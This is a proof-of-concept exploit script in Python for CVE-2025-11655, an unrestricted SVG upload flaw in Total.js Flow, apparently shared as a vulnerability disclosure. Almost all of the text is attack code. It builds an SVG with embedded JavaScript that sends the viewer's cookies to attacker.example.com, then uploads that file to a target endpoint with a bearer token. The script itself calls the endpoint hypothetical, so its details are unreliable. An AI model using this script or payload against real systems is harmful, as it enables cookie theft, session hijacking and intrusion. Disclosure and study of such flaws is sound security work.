CVE-2025-11655：Total.js Flow SVG文件处理器未限制上传漏洞

# CVE-2025-11655 PoC - Total.js Flow SVG File Handler Unrestricted Upload # This PoC demonstrates the unrestricted file upload vulnerability in Total.js Flow's SVG File Handler import requests # Target configuration TARGET_URL = "https://target.example.com" UPLOAD_ENDPOINT = "/api/flow/svg/upload" # Hypothetical endpoint for SVG upload # Attacker credentials (high privilege required - PR:H) AUTH_TOKEN = "your_auth_token_here" # Malicious SVG payload with embedded JavaScript malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"> <script type="text/javascript"> // Malicious payload - can be customized for various attacks // Example: XSS payload for session hijacking var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(cookie); // Or could include server-side code for RCE attempts // depending on server-side processing of SVG files </script> <rect x="0" y="0" width="200" height="200" fill="red"/> <text x="50" y="100" fill="white">Malicious SVG</text> </svg>''' def exploit(): """ Exploit the unrestricted upload vulnerability in Total.js Flow SVG File Handler. The vulnerability allows uploading malicious SVG files without proper validation. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "multipart/form-data" } files = { "file": ("malicious.svg", malicious_svg, "image/svg+xml") } try: response = requests.post( f"{TARGET_URL}{UPLOAD_ENDPOINT}", headers=headers, files=files, verify=False ) if response.status_code == 200: print(f"[+] Upload successful!") print(f"[+] Response: {response.text}") print(f"[+] File uploaded to: {TARGET_URL}/uploads/malicious.svg") else: print(f"[-] Upload failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()